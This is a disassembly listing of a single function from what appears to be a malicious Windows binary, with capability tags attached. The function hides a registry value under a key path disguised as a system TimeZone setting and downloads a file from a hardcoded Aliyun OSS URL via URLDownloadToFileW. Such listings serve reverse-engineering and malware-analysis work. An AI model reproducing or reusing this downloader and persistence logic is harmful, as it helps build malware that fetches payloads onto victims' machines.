Function at 0x418420
Capabilities:
Check if file exists
Download url
Get common file path
Get file attributes
Query or enumerate registry value
Receive data
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x439b9b
mov eax, dword fs:[0]
push eax
mov eax, 0x3de8
call fcn.0042dad0
mov eax, dword [0x446824]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x2de6]
push ecx
mov word [ebp - 0x2de8], ax
call fcn.00423160
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x15e6]
push eax
mov word [ebp - 0x15e8], dx
call fcn.00423160
lea ecx, [ebp - 0x2de8]
push ecx
mov ecx, str.WEBGODROUP
call fcn.00410ba0
add esp, 0x1c
lea edx, [ebp - 0x2de8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x4187fd
push 0x104
lea eax, [ebp - 0x35e8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x418bff
dec eax
test eax, eax
jle 0x4184fb
mov ecx, 0x5c
jmp 0x4184e0
cmp word [ebp + eax*2 - 0x35e8], cx
je 0x4184f1
dec eax
test eax, eax
jg 0x4184e0
jmp 0x4184fb
xor ecx, ecx
mov word [ebp + eax*2 - 0x35e6], cx
push str.dmEetfzcFeMLeUVb
lea edx, [ebp - 0x35e8]
push edx
lea eax, [ebp - 0x25e8]
push 0x44014c
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ebx, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0x25e8]
push ecx
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.0041e128
add esp, 4
push 0
push 0
push esi
mov edi, eax
push edi
push 0xffffffffffffffff
lea edx, [ebp - 0x25e8]
push edx
push 0
push 0
call ebx
push 0x43fc28
push edi
call fcn.004216ee
mov edi, eax
add esp, 8
test edi, edi
je 0x418bff
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x25e8]
push eax
push 0
push 0
call ebx
mov esi, eax
push esi
call fcn.0041e128
add esp, 4
push 0
push 0
push esi
mov ebx, eax
push ebx
push 0xffffffffffffffff
lea ecx, [ebp - 0x25e8]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x43fc28
push ebx
call fcn.004216ee
mov esi, eax
add esp, 8
test esi, esi
je 0x418bff
push 2
push 0
push esi
call fcn.00421dc1
push esi
call fcn.00421941
push esi
mov ebx, eax
call fcn.00421eaa
add esp, 0x14
test ebx, ebx
je 0x418bff
push edi
lea edx, [ebp - 0xde8]
push 0x3e8
push edx
call fcn.00421320
add esp, 0xc
test eax, eax
je 0x41863f
lea eax, [ebp - 0xde8]
push 0x440170
push eax
call fcn.00421458
lea ecx, [ebp - 0xde8]
push ecx
push 0x43ea00
call fcn.00421575
push edi
lea edx, [ebp - 0xde8]
push 0x3e8
push edx
call fcn.00421320
add esp, 0x1c
test eax, eax
jne 0x418604
push edi
call fcn.00421eaa
lea eax, [ebp - 0xde8]
add esp, 4
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418651
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
sub eax, edx
push 0
inc eax
push eax
lea eax, [ebp - 0xde8]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0xde8]
lea esi, [ecx + 1]
lea esp, [esp]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418680
push eax
sub ecx, esi
lea edx, [ebp - 0x15e8]
push edx
inc ecx
push ecx
lea eax, [ebp - 0xde8]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x3dec]
push ecx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x4186f5
lea edx, [ebp - 0x15e8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x3dec]
add eax, eax
push eax
lea eax, [ebp - 0x15e8]
push eax
push 1
push 0
push str.WEBGODROUP
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4186f5
mov edx, dword [ebp - 0x3dec]
push edx
jmp 0x4186fc
mov eax, dword [ebp - 0x3dec]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea ecx, [ebp - 0x40f]
push 0
push ecx
mov byte [ebp - 0x410], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0x15e8]
push edx
push 0
push 0
call esi
push 0
push 0
push eax
lea eax, [ebp - 0x410]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x15e8]
push ecx
push 0
push 0
call esi
lea eax, [ebp - 0x410]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418760
sub eax, edx
lea edx, [ebp - 0x410]
push edx
mov edx, eax
call fcn.00416f30
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x1de6]
push ecx
mov word [ebp - 0x1de8], ax
call fcn.00423160
lea eax, [ebp - 0x410]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4187a0
push 0
sub eax, edx
push 0
inc eax
push eax
lea edx, [ebp - 0x410]
push edx
push 0
push 0
call ebx
lea ecx, [ebp - 0x410]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x4187c5
push eax
sub ecx, esi
lea eax, [ebp - 0x1de8]
push eax
inc ecx
push ecx
lea ecx, [ebp - 0x410]
push ecx
push 0
push 0
call ebx
lea edx, [ebp - 0x1de8]
push edx
push 0x400
lea eax, [ebp - 0x15e8]
push eax
jmp 0x418983
push 0x208
lea ecx, [ebp - 0x618]
push 0
push ecx
mov dword [ebp - 0x3dec], 0
call fcn.00423160
add esp, 0xc
lea edx, [ebp - 0x3dec]
push edx
push str.SYSTEMCurrentControlSetControlVersionForcorResourcesTimeZone
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x3df4], 0x104
mov dword [ebp - 0x3df0], 1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
lea eax, [ebp - 0x3df4]
push eax
mov eax, dword [ebp - 0x3dec]
lea ecx, [ebp - 0x618]
push ecx
lea edx, [ebp - 0x3df0]
push edx
push 0
push str.WEBGODROUP
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [ebp - 0x3dec]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x3ff
lea edx, [ebp - 0x40f]
push 0
push edx
mov byte [ebp - 0x410], 0
call fcn.00423160
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea eax, [ebp - 0x618]
push eax
push 0
push 0
call esi
push 0
push 0
push eax
lea ecx, [ebp - 0x410]
push ecx
push 0xffffffffffffffff
lea edx, [ebp - 0x618]
push edx
push 0
push 0
call esi
lea eax, [ebp - 0x410]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4188e0
sub eax, edx
lea ecx, [ebp - 0x410]
push ecx
mov edx, eax
call fcn.00416f30
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x1de6]
push eax
mov word [ebp - 0x1de8], dx
call fcn.00423160
lea eax, [ebp - 0x410]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418920
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x410]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0x410]
lea esi, [ecx + 1]
jmp 0x418950
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418950
push eax
sub ecx, esi
lea edx, [ebp - 0x1de8]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x410]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x1de8]
push ecx
push 0x400
lea edx, [ebp - 0x15e8]
push edx
call fcn.004205b2
add esp, 0xc
push 0x4414f8
lea eax, [ebp - 0x15e8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x418bff
lea ecx, [ebp - 0xa00]
push ecx
push 0
push 0
push 0x2c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.LostBAST.BLG
lea edx, [ebp - 0xa00]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [section..data]
mov edx, dword [eax + 0xc]
mov ecx, section..data
call edx
add eax, 0x10
mov dword [ebp - 0x3dec], eax
push str..oss_cn_hongkong.aliyuncs.com_DnLUpXU_BAST
lea eax, [ebp - 0x15e8]
push eax
push str.http:__
push str._s_s_s
lea edi, [ebp - 0x3dec]
mov dword [ebp - 4], 0
call fcn.0040e9c0
mov esi, dword [sym.imp.WININET.dll_DeleteUrlCacheEntryW]
add esp, 0x10
push 0
call esi
mov edi, dword [ebp - 0x3dec]
push edi
call esi
push 0
push 0
lea ecx, [ebp - 0xa00]
push ecx
push edi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x418be0
lea edx, [ebp - 0xa00]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x418a77
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x418a77
lea eax, [edi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jmp 0x418bf3
lea ecx, [ebp - 0xa00]
push 0x43fc28
push ecx
call fcn.0040d410
add esp, 4
push eax
call fcn.004216ee
mov esi, eax
add esp, 8
test esi, esi
je 0x418be0
lea ecx, [ebp - 0xa00]
push ecx
call fcn.0040d410
add esp, 4
call fcn.00417630
test eax, eax
jne 0x418ac6
lea ecx, [ebp - 0x3dec]
call fcn.0040e160
jmp 0x418bff
push esi
lea edx, [ebp - 0x7f8]
push 0x3e8
push edx
call fcn.00421320
add esp, 0xc
test eax, eax
je 0x418b1b
nop
lea eax, [ebp - 0x7f8]
push 0x440170
push eax
call fcn.00421458
lea ecx, [ebp - 0x7f8]
push ecx
push 0x43ea00
call fcn.00421575
push esi
lea edx, [ebp - 0x7f8]
push 0x3e8
push edx
call fcn.00421320
add esp, 0x1c
test eax, eax
jne 0x418ae0
push esi
call fcn.00421eaa
lea eax, [ebp - 0x7f8]
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418b30
sub eax, edx
lea ecx, [ebp - 0x7f8]
push ecx
mov edx, eax
call fcn.00416f30
xor edx, edx
push 0x7fe
push edx
lea eax, [ebp - 0x3de6]
push eax
mov word [ebp - 0x3de8], dx
call fcn.00423160
lea eax, [ebp - 0x7f8]
add esp, 0x10
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x418b70
push 0
push 0
sub eax, edx
inc eax
push eax
lea ecx, [ebp - 0x7f8]
push ecx
push 0
push 0
call ebx
lea ecx, [ebp - 0x7f8]
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x418b95
push eax
sub ecx, esi
lea edx, [ebp - 0x3de8]
push edx
inc ecx
push ecx
lea eax, [ebp - 0x7f8]
push eax
push 0
push 0
call ebx
lea ecx, [ebp - 0x3de8]
push ecx
push 0xff
push 0x44ee98
call fcn.004205b2
add esp, 0xc
lea ecx, [ebp - 0x3dec]
call fcn.0040e160
mov eax, 1
jmp 0x418c01
lea eax, [edi - 0x10]
or ecx, 0xffffffff
lea edx, [eax + 0xc]
mov dword [ebp - 4], ecx
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x418bff
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041fcee
mov esp, ebp
pop ebp
ret